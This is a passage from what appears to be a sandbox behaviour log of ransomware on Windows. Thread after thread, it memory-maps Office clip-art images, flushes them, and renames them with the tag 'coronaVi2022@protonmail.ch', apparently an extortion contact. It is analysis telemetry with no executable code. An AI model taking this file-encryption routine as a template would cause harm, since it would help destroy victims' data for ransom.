	[0097.872] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145669.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145669.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0145669.jpg")) returned 1
	[0097.884] free (_Block=0x51f5098) 
	[0097.884] RtlExitUserThread (Status=0x0) 

Thread:
	id = 676
	os_tid = 0x1b18

	[0097.810] _alloca_probe () returned 0x40328a
	[0097.810] GetCurrentThreadId () returned 0x1b18
	[0097.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.jpg", dwFileAttributes=0x80) returned 1
	[0097.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd44
	[0097.872] GetFileSizeEx (in: hFile=0xd44, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=36820) returned 1
	[0097.872] CreateFileMappingA (hFile=0xd44, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8fd7, lpName=0x0) returned 0xd4c
	[0097.873] MapViewOfFile (hFileMappingObject=0xd4c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0097.880] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0097.881] CloseHandle (hObject=0xd4c) returned 1
	[0097.881] GetCurrentThreadId () returned 0x1b18
	[0097.881] FlushFileBuffers (hFile=0xd44) returned 1
	[0097.885] CloseHandle (hObject=0xd44) returned 1
	[0097.885] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145707.jpg") returned 97
	[0097.885] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145707.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0145707.jpg")) returned 1
	[0097.886] free (_Block=0x51f4090) 
	[0097.886] RtlExitUserThread (Status=0x0) 

Thread:
	id = 677
	os_tid = 0x1b1c

	[0097.888] _alloca_probe () returned 0x40328a
	[0097.888] GetCurrentThreadId () returned 0x1b1c
	[0097.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.jpg", dwFileAttributes=0x80) returned 1
	[0097.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd40
	[0097.889] GetFileSizeEx (in: hFile=0xd40, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=36792) returned 1
	[0097.889] CreateFileMappingA (hFile=0xd40, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8fbf, lpName=0x0) returned 0xd4c
	[0097.890] MapViewOfFile (hFileMappingObject=0xd4c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0097.897] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0097.898] CloseHandle (hObject=0xd4c) returned 1
	[0097.898] GetCurrentThreadId () returned 0x1b1c
	[0097.898] FlushFileBuffers (hFile=0xd40) returned 1
	[0097.900] CloseHandle (hObject=0xd40) returned 1
	[0097.900] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145810.jpg") returned 97
	[0097.900] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145810.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0145810.jpg")) returned 1
	[0097.901] free (_Block=0x51f0070) 
	[0097.901] RtlExitUserThread (Status=0x0) 

Thread:
	id = 678
	os_tid = 0x1b20

	[0098.022] _alloca_probe () returned 0x40328a
	[0098.023] GetCurrentThreadId () returned 0x1b20
	[0098.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.jpg", dwFileAttributes=0x80) returned 1
	[0098.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd4c
	[0098.024] GetFileSizeEx (in: hFile=0xd4c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=35419) returned 1
	[0098.024] CreateFileMappingA (hFile=0xd4c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8a65, lpName=0x0) returned 0xd24
	[0098.025] MapViewOfFile (hFileMappingObject=0xd24, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0098.032] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0098.032] CloseHandle (hObject=0xd24) returned 1
	[0098.032] GetCurrentThreadId () returned 0x1b20
	[0098.032] FlushFileBuffers (hFile=0xd4c) returned 1
	[0098.034] CloseHandle (hObject=0xd4c) returned 1
	[0098.035] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145879.jpg") returned 97
	[0098.035] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145879.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0145879.jpg")) returned 1
	[0098.036] free (_Block=0x51f4090) 
	[0098.036] RtlExitUserThread (Status=0x0) 

Thread:
	id = 679
	os_tid = 0x1b24

	[0098.109] _alloca_probe () returned 0x40328a
	[0098.110] GetCurrentThreadId () returned 0x1b24
	[0098.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.jpg", dwFileAttributes=0x80) returned 1
	[0098.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd24
	[0098.111] GetFileSizeEx (in: hFile=0xd24, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=33958) returned 1
	[0098.111] CreateFileMappingA (hFile=0xd24, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x84ab, lpName=0x0) returned 0xd50
	[0098.111] MapViewOfFile (hFileMappingObject=0xd50, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0098.120] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0098.121] CloseHandle (hObject=0xd50) returned 1
	[0098.121] GetCurrentThreadId () returned 0x1b24
	[0098.121] FlushFileBuffers (hFile=0xd24) returned 1
	[0098.127] CloseHandle (hObject=0xd24) returned 1
	[0098.127] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145895.jpg") returned 97
	[0098.127] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145895.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0145895.jpg")) returned 1
	[0098.128] free (_Block=0x51f60a0) 
	[0098.128] RtlExitUserThread (Status=0x0) 

Thread:
	id = 680
	os_tid = 0x1b28

	[0098.173] _alloca_probe () returned 0x40328a
	[0098.174] GetCurrentThreadId () returned 0x1b28
	[0098.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.jpg", dwFileAttributes=0x80) returned 1
	[0098.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd50
	[0098.175] GetFileSizeEx (in: hFile=0xd50, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=39542) returned 1
	[0098.175] CreateFileMappingA (hFile=0xd50, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9a7b, lpName=0x0) returned 0xd54
	[0098.175] MapViewOfFile (hFileMappingObject=0xd54, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0098.187] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0098.188] CloseHandle (hObject=0xd54) returned 1
	[0098.188] GetCurrentThreadId () returned 0x1b28
	[0098.188] FlushFileBuffers (hFile=0xd50) returned 1
	[0098.190] CloseHandle (hObject=0xd50) returned 1
	[0098.190] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145904.jpg") returned 97
	[0098.190] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0145904.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0145904.jpg")) returned 1
	[0098.192] free (_Block=0x51f0070) 
	[0098.192] RtlExitUserThread (Status=0x0) 

Thread:
	id = 681
	os_tid = 0x1b2c

	[0098.242] _alloca_probe () returned 0x40328a
	[0098.242] GetCurrentThreadId () returned 0x1b2c
	[0098.242] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.jpg", dwFileAttributes=0x80) returned 1
	[0098.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd54
	[0098.244] GetFileSizeEx (in: hFile=0xd54, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=46508) returned 1
	[0098.244] CreateFileMappingA (hFile=0xd54, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb5b7, lpName=0x0) returned 0xd58
	[0098.244] MapViewOfFile (hFileMappingObject=0xd58, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0098.255] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0098.256] CloseHandle (hObject=0xd58) returned 1
	[0098.256] GetCurrentThreadId () returned 0x1b2c
	[0098.256] FlushFileBuffers (hFile=0xd54) returned 1
	[0098.259] CloseHandle (hObject=0xd54) returned 1
	[0098.259] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0146142.jpg") returned 97
	[0098.259] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0146142.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0146142.jpg")) returned 1
	[0098.260] free (_Block=0x51f5098) 
	[0098.260] RtlExitUserThread (Status=0x0) 

Thread:
	id = 682
	os_tid = 0x1b30

	[0098.261] _alloca_probe () returned 0x40328a
	[0098.262] GetCurrentThreadId () returned 0x1b30
	[0098.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.jpg", dwFileAttributes=0x80) returned 1
	[0098.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd54
	[0098.262] GetFileSizeEx (in: hFile=0xd54, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=43674) returned 1
	[0098.263] CreateFileMappingA (hFile=0xd54, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xaaa3, lpName=0x0) returned 0xd5c
	[0098.263] MapViewOfFile (hFileMappingObject=0xd5c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0098.274] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0098.275] CloseHandle (hObject=0xd5c) returned 1
	[0098.275] GetCurrentThreadId () returned 0x1b30
	[0098.275] FlushFileBuffers (hFile=0xd54) returned 1
	[0098.277] CloseHandle (hObject=0xd54) returned 1
	[0098.277] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0148309.jpg") returned 97
	[0098.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0148309.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0148309.jpg")) returned 1
	[0098.278] free (_Block=0x51f4090) 
	[0098.278] RtlExitUserThread (Status=0x0) 

Thread:
	id = 683
	os_tid = 0x1b34

	[0098.324] _alloca_probe () returned 0x40328a
	[0098.325] GetCurrentThreadId () returned 0x1b34
	[0098.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.jpg", dwFileAttributes=0x80) returned 1
	[0098.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd5c
	[0098.327] GetFileSizeEx (in: hFile=0xd5c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=67540) returned 1
	[0098.327] CreateFileMappingA (hFile=0xd5c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x107d7, lpName=0x0) returned 0xd60
	[0098.327] MapViewOfFile (hFileMappingObject=0xd60, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0098.343] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0098.344] CloseHandle (hObject=0xd60) returned 1
	[0098.344] GetCurrentThreadId () returned 0x1b34
	[0098.344] FlushFileBuffers (hFile=0xd5c) returned 1
	[0098.356] CloseHandle (hObject=0xd5c) returned 1
	[0098.356] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0148757.jpg") returned 97
	[0098.356] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0148757.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0148757.jpg")) returned 1
	[0098.357] free (_Block=0x51f3088) 
	[0098.357] RtlExitUserThread (Status=0x0) 

Thread:
	id = 684
	os_tid = 0x1b38

	[0098.346] _alloca_probe () returned 0x40328a
	[0098.346] GetCurrentThreadId () returned 0x1b38
	[0098.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.jpg", dwFileAttributes=0x80) returned 1
	[0098.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd64
	[0098.347] GetFileSizeEx (in: hFile=0xd64, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=38237) returned 1
	[0098.347] CreateFileMappingA (hFile=0xd64, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9569, lpName=0x0) returned 0xd68
	[0098.347] MapViewOfFile (hFileMappingObject=0xd68, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0098.359] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0098.360] CloseHandle (hObject=0xd68) returned 1
	[0098.360] GetCurrentThreadId () returned 0x1b38
	[0098.360] FlushFileBuffers (hFile=0xd64) returned 1
	[0098.362] CloseHandle (hObject=0xd64) returned 1
	[0098.362] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0148798.jpg") returned 97
	[0098.362] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0148798.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0148798.jpg")) returned 1
	[0098.363] free (_Block=0x51f4090) 
	[0098.363] RtlExitUserThread (Status=0x0) 

Thread:
	id = 685
	os_tid = 0x1b3c

	[0098.365] _alloca_probe () returned 0x40328a
	[0098.366] GetCurrentThreadId () returned 0x1b3c
	[0098.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.jpg", dwFileAttributes=0x80) returned 1
	[0098.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd68
	[0098.366] GetFileSizeEx (in: hFile=0xd68, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=27393) returned 1
	[0098.366] CreateFileMappingA (hFile=0xd68, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6b01, lpName=0x0) returned 0xd5c
	[0098.367] MapViewOfFile (hFileMappingObject=0xd5c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0098.373] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0098.374] CloseHandle (hObject=0xd5c) returned 1
	[0098.374] GetCurrentThreadId () returned 0x1b3c
	[0098.374] FlushFileBuffers (hFile=0xd68) returned 1
	[0098.376] CloseHandle (hObject=0xd68) returned 1
	[0098.376] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0149018.jpg") returned 97
	[0098.376] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0149018.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0149018.jpg")) returned 1
	[0098.377] free (_Block=0x51f0070) 
	[0098.377] RtlExitUserThread (Status=0x0) 

Thread:
	id = 686
	os_tid = 0x1b40

	[0098.379] _alloca_probe () returned 0x40328a
	[0098.380] GetCurrentThreadId () returned 0x1b40
	[0098.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.jpg", dwFileAttributes=0x80) returned 1
	[0098.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd5c
	[0098.380] GetFileSizeEx (in: hFile=0xd5c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=64802) returned 1
	[0098.381] CreateFileMappingA (hFile=0xd5c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfd23, lpName=0x0) returned 0xd6c
	[0098.381] MapViewOfFile (hFileMappingObject=0xd6c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0098.396] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0098.396] CloseHandle (hObject=0xd6c) returned 1
	[0098.396] GetCurrentThreadId () returned 0x1b40
	[0098.396] FlushFileBuffers (hFile=0xd5c) returned 1
	[0098.399] CloseHandle (hObject=0xd5c) returned 1
	[0098.399] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0149118.jpg") returned 97
	[0098.399] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0149118.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0149118.jpg")) returned 1
	[0098.400] free (_Block=0x51fa0c0) 
	[0098.400] RtlExitUserThread (Status=0x0) 

Thread:
	id = 687
	os_tid = 0x1b44

	[0098.405] _alloca_probe () returned 0x40328a
	[0098.406] GetCurrentThreadId () returned 0x1b44
	[0098.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.jpg", dwFileAttributes=0x80) returned 1
	[0098.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd6c
	[0098.407] GetFileSizeEx (in: hFile=0xd6c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=46484) returned 1
	[0098.407] CreateFileMappingA (hFile=0xd6c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb597, lpName=0x0) returned 0xd70
	[0098.407] MapViewOfFile (hFileMappingObject=0xd70, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0098.419] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0098.419] CloseHandle (hObject=0xd70) returned 1
	[0098.420] GetCurrentThreadId () returned 0x1b44
	[0098.420] FlushFileBuffers (hFile=0xd6c) returned 1
	[0098.542] CloseHandle (hObject=0xd6c) returned 1
	[0098.542] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0164153.jpg") returned 97
	[0098.542] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0164153.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0164153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0164153.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0164153.jpg")) returned 1
	[0098.553] free (_Block=0x51f4090) 
	[0098.553] RtlExitUserThread (Status=0x0) 

Thread:
	id = 688
	os_tid = 0x1b48

	[0098.591] _alloca_probe () returned 0x40328a
	[0098.592] GetCurrentThreadId () returned 0x1b48
	[0098.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.jpg", dwFileAttributes=0x80) returned 1
